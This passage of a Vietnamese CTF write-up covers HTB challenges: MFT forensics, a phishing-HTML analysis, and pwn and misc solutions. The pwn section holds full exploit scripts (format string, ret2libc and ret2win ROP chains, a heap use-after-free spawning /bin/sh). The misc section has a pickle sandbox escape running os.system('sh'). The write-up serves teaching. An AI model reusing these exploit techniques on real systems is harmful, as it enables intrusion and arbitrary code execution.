password = open("password", "r").readlines()
password= [i[42:-1] for i in password]
trigger = 0
seq = ""
j = 0
for i in range(len(data)):
if len(data[i]) == 77:
seq += data[i].replace("\n", "")
else:
seq += data[i].replace("\n", "")
print(b64decode(seq))
with open("temp.zip", "wb") as f:
print(password[j])
f.write(b64decode(seq))
os.system(f'unzip -P "{password[j]}" temp.zip')
j += 1
seq = ""
with open("final.pdf", "wb") as f:
for i in range(1, 16):
data = open(f"phreaks_plan.pdf.part{i}", "rb").read()
f.write(data)
Result:
Flag: HTB{Th3Phr3aksReadyT0Att4ck}
Pursue The Tracks
credit: Nex0
Đề cho 1 file mft. Sử dụng tool MFTecmd
để parse thành csv:
- Files are related to two years, which are those? (for example: 1993,1995)
Dễ thấy 2 năm đó luôn:
Ans: 2023,2024
- There are some documents, which is the name of the first file written? (for example: randomname.pdf)
Ans: Final_Annual_Report.xlsx
- Which file was deleted? (for example: randomname.pdf)
Ta thấy Marketing_Plan.xlsx có trường Inuse
là False, tức là đã bị xóa:
Ans: Marketing_Plan.xlsx
- How many of them have been set in Hidden mode? (for example: 43)
Trừ các file hệ thống ra, thì có duy nhất file credentials.txt
ở Hidden mode.
Ans: 1
- Which is the filename of the important TXT file that was created? (for example: randomname.txt)
Ans: credentials.txt
- A file was also copied, which is the new filename? (for example: randomname.pdf)
Check trường IsCopied xem cái nào True, ta được đáp án:
Ans: Financial_Statement_draft.xlsx
- Which file was modified after creation? (for example: randomname.pdf)
Ta check time Created với LastRecordChange, chỉ có 1 file là có thời gian LastRecordChange mới hơn.
Ans: Project_Proposal.pdf
- What is the name of the file located at record number 45? (for example: randomname.pdf)
Ans: Annual_Report.xlsx
- What is the size of the file located at record number 40? (for example: 1337)
Ans: 57344
Flag: HTB{p4rs1ng_mft_1s_v3ry_1mp0rt4nt_s0m3t1m3s}
Urgent
credit: Nex0
Đề cho 1 file EML, kèm 1 attachment html. Ta tiến hành phân tích:
Html chứa unescaped character:
Decode nó ra:
Đại khái là mở powershell tải malware về ngay khi windows onload thôi, flag ngay trong code:
Flag: HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}
Oblique Final
credit: Nex0
Đoạn sau của bài mình solve khá randomly, nên wu này mình có điều chỉnh sau khi đọc official wu của giải 🐸
Đề cho ta 1 file Hiberfil.sys - file lưu thông tin tất tần tật các thứ trên máy ở trạng thái hiện tại khi nó bắt đầu vào mode ngủ đông 💤
Và vì thế nó cũng na ná memdump thôi <("), mình convert qua dạng raw mem trước. Mình sử dụng bản volatility 3 branch build này để lấy thêm 2 plugin hibernation:
https://github.com/forensicxlab/volatility3
Convert:
Sau đó load vào xem pslist, dễ thấy 1 sus proc tên TheGame.exe
, cũng phù hợp với mô tả của bài :)) :
Sau khi filescan string grep, ngoài ra cũng có thể dùng dlllist lên proc này, ta thấy rất nhiều dll cùng nằm trong folder chứa exe. Ngoài ra trong đó còn có coreclr.dll, mà dựa theo docs trong repo đã archived của Microsoft, define như này:
CoreCLR is the runtime for .NET Core. It includes the garbage collector, JIT compiler, primitive data types and low-level classes.
Vì thế nên đây là 1 .NET project, vì nó chứa core runtime, JIT compiler,..tự làm tự ăn. Ngoài ra, Coreclr như ta biết ở trên, là "runtime for .NET Core". .NET Core là cross-platform của .NET: https://learn.microsoft.com/en-us/archive/msdn-magazine/2016/april/net-core-net-goes-cross-platform-with-net-core. Thì theo đó, thông thường con exe sẽ là executable của project luôn, tuy nhiên trong cross-platform, nó chỉ là loader cho con dll. Hoặc ta dump cả 2 con ra rồi check file type cũng được :v :
Phân tích .NET bằng DNSpy, tuy nhiên hàm main lại không decompile ra gì được, lỗi. Khi đổi sang Intermediate language, ta thấy 1 mớ dài nop opcode:
Ngoài ra dựa vào hint từ đề bài và từ 1 người bạn, ngoài ra check structure của TheGame.dll, ta cũng có thể thấy ReadyToRun header, mình biết được đây là R2R stomping, nó giấu code bằng cách thay các opcode về nop trước các trình decompile như dnspy, ilspy. Thế thì mình đã làm như thế nào? Mình load PE vào IDA và F5 :v Nó thực hiện xor 2 array, mà khi ta xor xong, sẽ được 1 command có kèm flag.
PWN
Delulu
credit: LucPhan
- Check file + checksec + IDA
- IDA
BUG:
Lỗi format string :
printf((const char *)buf);
Lỗi buffer overflow :
read(0, buf, 31uLL);
Có hàm in flag
delulu()
Khai thác:
Dùng lỗi
format string
để thay đổi gtri biến v4[0] = 0x1337babe -> 0x1337beef -> gọi hàmdelulu
in flagNhập buffer ở read rồi dùng ở printf lỗi format string.
Do v4[0] = 0x1337babe nên chỉ cần overwrite 2 byte cuối.
Script:
from pwn import *
#p = remote("83.136.252.82",32291)
p = process('./delulu')
payload = f'%{0xbeef}c%7$hn'.encode()
payload += p64(0x00)
p.sendline(payload)
p.interactive()
Writing on the wall
credit: LucPhan
Check file + checksec + IDA
IDA
BUG:
Lỗi off by one :
read(0, buf, 7uLL)
khi chỉ khai báochar buf[6]
Có hàm lấy flag
open_door
Khai thác:
Debug xem có thể dùng buffer overflow overwrite tới đâu
Trước khi read
Sau khi read
Sau khi debug, ta thấy phần thừa (1byte) sẽ overwrite byte đầu tiên của biến s2 (s2 dùng so sánh với buf để gọi hàm lấy flag) -> Ý tưởng: làm cho cả buf và s2 đều có byte đầu là NULL để khi strcmp sẽ giống nhau.
Script
from pwn import *
#p = remote("94.237.55.42",43749)
p = process("./chall")
payload = b'\x00\x41\x41\x41\x41\x41\x00'
p.sendline(payload)
p.interactive()
Pet companion
credit: LucPhan
Check file + checksec + IDA
IDA
BUG:
- Lỗi buffer overflow :
read(0, buf, 256uLL)
trong khi khai báo __int64 buf[8] -> Ý tưởng: ret2libc
- Lỗi buffer overflow :
Khai thác:
Tính offset để overwrite saved rip:
Nhập buf ở hàm read để xem vị trí buf trên stack
Tìm vị trí saved rip trên stack
-> offset = 72byte
Leak libc:
Dùng hàm puts hoặc 1 hàm tương tự in ra địa chỉ 1 hàm trong libc.
Thay đổi rsi thành write@got để in ra địa chỉ libc của write bằng cách gọi write@plt
Lấy shell:
Thay đổi rdi (tham số của hàm system) thành địa chỉ của "/bin/sh"
Gọi hàm system trong libc sau khi đã có địa chỉ cơ sở của libc
Script:
from pwn import *
context.binary = exe = ELF("./chall_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)
#p = remote('94.237.51.203',59602)
p = process(exe.path)
poprsi = 0x0000000000400741
offset_rip = 72
poprdi = 0x0000000000400743
ret = 0x00000000004004de
####################### LIBC LEAK ######################
payload=b'a'*offset_rip
payload+=p64(poprsi) + p64(exe.got['write']) + p64(0x00)
payload+=p64(exe.plt['write'])
payload+=p64(exe.sym['main'])
p.sendafter(b'status: ',payload)
p.recvuntil(b"Configuring...\n\n")
leak = int.from_bytes(p.recv(6),"little")
print('[+] LEAK:',hex(leak))
libc.address = leak - libc.sym['write']
print('[+] LIBC ADDRESS:',hex(libc.address))
######################## GET SHELL #####################
payload2 = b'A'*offset_rip
payload2 += p64(poprdi) + p64(next(libc.search(b'/bin/sh')))
payload2 += p64(libc.sym['system'])
p.sendafter(b'status: ',payload2)
p.interactive()
Rocket blaster xxx
credit: LucPhan
credit: LucPhan
Check file + checksec + IDA
IDA
BUG:
Lỗi buffer overflow :
read(0, buf, 102uLL)
khi chỉ khai báo `__int64 buf[4]'Có hàm lấy flag
fill_ammo
-> ý tưởng: ret2win
Khai thác:
Tính offset để overwrite saved rip
Nhập buf ở hàm read để xem vị trí buf trên stack
Tìm vị trí saved rip trên stack
-> offset = 40byte
Lấy địa chỉ của hàm
fill_ammo
Tuy nhiên, ở hàm fill_ammo vẫn cần phải thỏa mãn 1 số điều kiện để đọc được flag:
Challenge bắt chúng ta phải làm cho tham số: a1,a2,a3 lần lượt bằng 0xdeadbeef, 0xdeadbabe, 0xdead1337.
Kiểm tra mã assembly của
fill_ammo
:Hàm
fill_ammo
thực hiện so sánh rax với các vùng nhớ. Ta thấy các vùng nhớ này được điều khiển bởi các thanh ghi rdi, rsi, rdx. -> Dùng ROP để thay đổi giá trị các thanh ghi -> thay đổi các vùng nhớ này
- Script
from pwn import *
#p = remote('94.237.53.53',37903)
p = process("./chall")
poprdi = 0x000000000040159f
poprsi = 0x000000000040159d
poprdx = 0x000000000040159b
win = 0x00000000004012fd
payload=b'a'*(40-8)
payload+=p64(0x0000000000405500)
payload+=p64(poprdi)+p64(0xDEADBEEF)
payload+=p64(poprsi)+p64(0xDEADBABE)
payload+=p64(poprdx)+p64(0xDEAD1337)
payload+=p64(win)
p.sendlineafter(b'>> ',payload)
p.interactive()
Sound of silence
credit: LucPhan
Check file + checksec + IDA
IDA
BUG:
- Lỗi buffer overflow :
return gets(v4, argv)
- hàm gets() không kiểm tra số lượng byte nhập vào.
- Lỗi buffer overflow :
Khai thác:
Debug chương trình:
Chương trình
mov rdi, rax
Sau khi
gets()
: chương trình sẽ đưa địa chỉ của buf vào raxChương trình trước khi gọi hàm system() : có lệnh
mov rdi, rax
Hướng khai thác: ta sẽ nhập chuỗi
"/bin/sh"
vàov4
-> overwritesaved RIP
thành địa chỉmov rdi, rax
Tính offset để overwrite
saved RIP
Nhập
v4
và xem địa chỉ trên stack:Dùng ở lệnh ret và xem địa chỉ saved RIP:
-> offset = 32
Tuy nhiên, trong quá trình thực hiện hàm
system()
sẽ gặp lỗiSIGSEGV
: Lỗi này xảy ra khi ngăn xếp chưa được căn chỉnh 16 byte trước khi gọi hàmsystem()
movaps
: https://c9x.me/x86/html/file_module_x86_id_180.html-
Để giải quyết lỗi này, chúng ta chỉ cần thêm 1 số lệnh
ret
để trước khi quay trở lạimov rdi, rax
- Script
from pwn import *
exe = ELF("./chall_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-linux-x86-64.so.2",checksec=False)
context.binary = exe
#p = remote('94.237.54.30',42921)
p = process(exe.path)
mov_rdi_rax = 0x0000000000401169
ret = 0x000000000040101a
payload=p64(0x0068732f6e69622f)
payload+=b'\x00'*32
payload += p64(ret)
payload += p64(ret)
payload+=p64(mov_rdi_rax)
p.sendline(payload)
p.interactive()
Deathnote
credit: Naooooooooooooo
Đầu tiên ở chương trình sẽ có 1 mảng gốm 10 entries
Sau đó là 1 vòng lặp vô hạn vs các option
- Hàm
add
Nó chỉ đơn giản là chọn size và index trong entries
để set
Index không có out òf bound
và size bị giới hạn trong khoảng 1
đến 0x80
Ở đây ta thấy nó ko khởi tạo giá trị khi malloc nên sẽ còn xót lại những giá trị rác nên có thể dùng để leak
- Hàm
show
Chỉ đơn giản là in dữ liệu của 1 entry
Hàm delete
Ở đây ta thấy nó free
rồi nhưng mà ko clear giá trị trong entries
nên ở đây ta có bug use after free
Có 1 lựa chọn nữa khi chúng ta nhập option *
Nó sẽ gọi hàm mà entries[0]
trỏ vào và tham số là entries[1]
, vậy nếu entries[0]
chứa system
còn entries[1]
chứa '/bin/sh
thì ta thắng.
Exploit
Ở đây mk free
8 chunks để làm đầy tcache rồi chúng ta sẽ có libc
for i in range(9):
add(0x80, i, b'A')
for i in range(8):
delete(i)
show(7)
p.recvuntil(b'Page content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
libc.address = leak - 2206944
print('libc: ', hex(libc.address))
Như vậy thì chỉ cần tạo entries[0]
vs entries[1]
nữa là xong
from pwn import *
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
elf = context.binary = ELF('deathnote')
libc = ELF('./glibc/libc.so.6')
def add(size, idx, content):
sla(b'entry', b'1')
sla(b'request', str(size).encode())
sla(b'Page', str(idx).encode())
sa(b'victim:', content)
def show(idx):
sla(b'entry', b'3')
sla(b'Page', str(idx).encode())
def delete(idx):
sla(b'entry', b'2')
sla(b'Page', str(idx).encode())
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
#context.log_level = 'debug'
#p = process()
p = remote('94.237.58.211', 55260)
#gdb.attach(p, gdbscript='''
# b show
# b _
# c''')
add(0x10, 0, b'A')
add(0x10, 1, b'A')
delete(0)
delete(1)
show(1)
p.recvuntil(b'Page content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
leak = deobfuscate(leak)
print('leak: ', hex(leak))
heap = leak - 1712
print('heap: ', hex(heap))
for i in range(9):
add(0x80, i, b'A')
for i in range(8):
delete(i)
show(7)
p.recvuntil(b'Page content: ')
leak = p.recvline()[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: ', hex(leak))
libc.address = leak - 2206944
print('libc: ', hex(libc.address))
add(0x10, 0, hex(libc.symbols['system']).encode())
add(0x10, 1, b'/bin/sh\x00')
p.sendlineafter(b'entry', b'42')
p.interactive()
MISC
Were Pickle Phreaks
credit: MacHongNam
Analysis
Source code:
# python 3.8
from sandbox import unpickle, pickle
import random
members = []
class Phreaks:
def __init__(self, hacker_handle, category, id):
self.hacker_handle = hacker_handle
self.category = category
self.id = id
def display_info(self):
print('================ ==============')
print(f'Hacker Handle {self.hacker_handle}')
print('================ ==============')
print(f'Category {self.category}')
print(f'Id {self.id}')
print()
def menu():
print('Phreaks member registration v2')
print('1. View current members')
print('2. Register new member')
print('3. Exit')
def add_existing_members():
members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000))))
members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000))))
members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000))))
members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Stackos', 'Blockchain', random.randint(1, 10000))))
members.append(pickle(Phreaks('Lin', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Almost Blood', 'JIT', random.randint(1, 10000))))
members.append(pickle(Phreaks('Fiasco', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Big Mac', 'Web', random.randint(1, 10000))))
members.append(pickle(Phreaks('Freda', 'Forensics', random.randint(1, 10000))))
members.append(pickle(Phreaks('Karamuse', 'ML', random.randint(1, 10000))))
def view_members():
for member in members:
try:
member = unpickle(member)
member.display_info()
except Exception as e:
print('Invalid Phreaks member', e)
def register_member():
pickle_data = input('Enter new member data: ')
members.append(pickle_data)
def main():
add_existing_members()
while True:
menu()
try:
option = int(input('> '))
except ValueError:
print('Invalid input')
print()
continue
if option == 1:
view_members()
elif option == 2:
register_member()
elif option == 3:
print('Exiting...')
exit()
else:
print('No such option')
print()
if __name__ == '__main__':
main()
Đây là một chương trình với 2 chức năng cơ bản:
view_members()
: thực hiện deserialize và hiển thị các đối tượngregister_member()
: nhận input là dạng base64 của 1 đối tượng sau khi đã serialize
from base64 import b64decode, b64encode
from io import BytesIO
import pickle as _pickle
ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__']
class RestrictedUnpickler(_pickle.Unpickler):
def find_class(self, module, name):
print(module, name)
if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
return super().find_class(module, name)
raise _pickle.UnpicklingError()
def unpickle(data):
return RestrictedUnpickler(BytesIO(b64decode(data))).load()
def pickle(obj):
return b64encode(_pickle.dumps(obj))
- Ở đây, class RestrictedUnpickler kế thừa từ
_pickle.Unpickler
, định nghĩa phương thứcfindclass()
thực hiện detect các module và name được cho phép. Trongpickle
, phương thứcfind_class()
có source code như sau:
def find_class(self, module, name):
# Subclasses may override this.
sys.audit('pickle.find_class', module, name)
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)
Nó được dùng để tìm và nhập các module được chỉ định trong dữ liệu đã được pickled. RestrictedUnpickler
hook vào phương thức find_class()
để thực hiện sàng lọc các module. Ở đây các module được cho phép là __main__
, app và name bị cấm là __builtins__
Solution
Trong python, các module liên kết với nhau, do đó từ __main__
, app
chúng ta có thể nhập các module khác. Sử dụng dir()
để check xem __main__
có những module nào:
Chú ý một chút thì đoạn code filter khá lỏng lẻo:
if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
Nó chỉ check xem name có bắt đầu bằng __builtins__.
hay không, do đó mình có thể bypass bằng __setattr__
để đổi name của __builtins__
thành một ký tự khác. Mình sử dụng Pickora
để compile python pickle scripts, Pickle sử dụng GLOBAL để nhập module.
Solve script:
from pickora import Compiler
from base64 import b64encode
def main():
return 1
if __name__ == '__main__':
compiler = Compiler()
payload = b"setattr = GLOBAL('__main__', '__setattr__');"
payload += b"builtins = GLOBAL('__main__','__builtins__');"
payload += b"setattr('e',builtins);"
payload += b"GLOBAL('__main__','e.eval')(\"__import__('os').system('sh')\")"
print(b64encode(compiler.compile(payload)).decode())
Giải thích một chút, GLOBAL('__main__', '__setattr__'
) lấy function __main__.__setattr__
và gán vào biến setattr
, tương tự là builtins. setattr('e',builtins)
thực hiện set function __main__.__builtins__
thành e
và cuối cùng là gọi e.eval
để thực thi code python __import__('os').system('sh')
.
Were Pickle Phreaks Revenge
credit: MacHongNam
Source code không thay đổi, thay đổi duy nhất đến từ sandbox.py:
ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__', 'random']
Có lẽ hướng intended của challege Were Pickle Phreaks là sử dụng module random để thực hiện call các module khác:
Ở đây có thể sử dụng module _os
để gọi hàm system()
:
Cách của mình không sử dụng đến module random
nên có thể bypass luôn challenge này:
Character
credit: MinhFanBoy
TASK
Mình kết nối đến sever thì được yêu cầu nhập một số và số ta sẽ nhận lại được flag tại vị trí đó. Nên mình viết một script đơn giản để gửi tất cả các số tới khi nhận được ký tự "}".
from pwn import *
def main() -> None:
i = 0
s = remote("83.136.252.194", 57105)
while True:
s.recvuntil(b"Enter an index: ")
s.sendline(f"{i}".encode())
s.recvuntil(f"at Index {i}: ".encode())
print(s.recvline()[:-1].decode(), end="", flush=True)
i += 1
if __name__ == "__main__":
main()
Unbreakable
credit: MinhFanBoy
SOURCE:
#!/usr/bin/python3
banner1 = '''
__ooooooooo__
oOOOOOOOOOOOOOOOOOOOOOo
oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
oOOOOOOOOOOO* *OOOOOOOOOOOOOO* *OOOOOOOOOOOOo
oOOOOOOOOOOO OOOOOOOOOOOO OOOOOOOOOOOOo
oOOOOOOOOOOOOo oOOOOOOOOOOOOOOo oOOOOOOOOOOOOOo
oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
oOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOo
oOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOo
*OOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOO*
*OOOOOO *OOOOOOOOOOOOOOOOOOOOOOOOOOOOO* OOOOOO*
*OOOOOO *OOOOOOOOOOOOOOOOOOOOOOOOOOO* OOOOOO*
*OOOOOOo *OOOOOOOOOOOOOOOOOOOOOOO* oOOOOOO*
*OOOOOOOo *OOOOOOOOOOOOOOOOO* oOOOOOOO*
*OOOOOOOOo *OOOOOOOOOOO* oOOOOOOOO*
*OOOOOOOOo oOOOOOOOO*
*OOOOOOOOOOOOOOOOOOOOO*
""ooooooooo""
'''
banner2 = '''
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠉⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠻⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⢀⠀⠀⠀⠀⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⣼⣰⢷⡤⠀⠈⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣇⠀⠉⣿⠈⢻⡀⠀⢸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢹⡀⠀⢷⡀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⠀⠘⣧⠀⢸⡇⠀⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣤⠶⠾⠿⢷⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⡆⠀⠘⣦⠀⣇⠀⠘⣿⣤⣶⡶⠶⠛⠛⠛⠛⠶⠶⣤⣾⠋⠀⠀⠀⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣄⠀⠘⣦⣿⠀⠀⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⡟⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣦⠀⠛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠁⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⢠⣿⠏⠁⠀⢀⡴⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡏⠀⠀⠀⠀⠀⠀⠀⢰⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢠⠶⠛⠉⢀⣄⠀⠀⠀⢀⣿⠃⠀⠀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢷⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣀⣠⡶⠟⠋⠁⠀⠀⠀⣼⡇⠀⢠⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢷⣄⣀⣀⣠⠿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠋⠁⠀⠀⠀⠀⣀⣤⣤⣿⠀⠀⣸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠀⠀⢻⡇⠀⠀⠀⠀⢠⣄⠀⢶⣄⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠿⠟⠛⠋⠹⢿⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡀⠀⠀⠀⠀⠘⢷⡄⠙⣧⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⣴⠟⠋⠁⠀⠀⠀⠀⠘⢸⡀⠀⠿⠀⠀⠀⣠⣤⣤⣄⣄⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣀⡀⠀⠀⠀⢸⡟⠻⣿⣦⡀⠀⠀⠀⠙⢾⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠈⣇⠀⠀⠀⠀⣴⡏⠁⠀⠀⠹⣷⠀⠀⠀⠀⣠⡿⠋⠀⠀⠈⣷⠀⠀⠀⣾⠃⠀⠀⠉⠻⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡆⠀⠀⠀⠘⢷⣄⡀⣀⣠⣿⠀⠀⠀⠀⠻⣧⣄⣀⣠⣴⠿⠁⠀⢠⡟⠀⠀⠀⠀⠀⠙⢿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣾⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡽⣦⡀⣀⠀⠀⠉⠉⠉⠉⠀⢀⣀⣀⡀⠀⠉⠉⠉⠁⠀⠀⠀⣠⡿⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⡀⠀⠀⠀⠀⠀⠀⠀
⠀⢰⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠃⠈⢿⣿⣧⣄⠀⠀⠰⣦⣀⣭⡿⣟⣍⣀⣿⠆⠀⠀⡀⣠⣼⣿⠁⠀⠀⠀⠀⠀⠀⠀⢀⣤⣽⣷⣤⣤⠀⠀⠀⠀⠀
⠀⢀⣿⡆⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⢀⣴⠖⠋⠁⠈⠻⣿⣿⣿⣶⣶⣤⡉⠉⠀⠈⠉⢉⣀⣤⣶⣶⣿⣿⣿⠃⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠀⠉⠻⣷⣄⠀⠀⠀
⠀⣼⡏⣿⠀⢀⣤⠽⠖⠒⠒⠲⣤⣤⡾⠋⠀⠀⠀⠀⠀⠈⠈⠙⢿⣿⣿⣿⣿⣿⣾⣷⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⣀⣤⠶⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⠀⠀
⢰⣿⠁⢹⠀⠈⠀⠀⠀⠀⠀⠀⠀⣿⠷⠦⠄⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉⢀⣠⠶⠋⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀
⣸⡇⠀⠀⠀⠀⠀⠀⠀⢰⡇⠀⠀⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠉⠉⠛⠋⠉⠙⢧⠀⠀⢸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡆
⣿⡇⠀⠀⠈⠆⠀⠀⣠⠟⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢿⠀⠀⠀⠀⠀⠀⠀⠈⠱⣄⣸⡇⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣻⡇
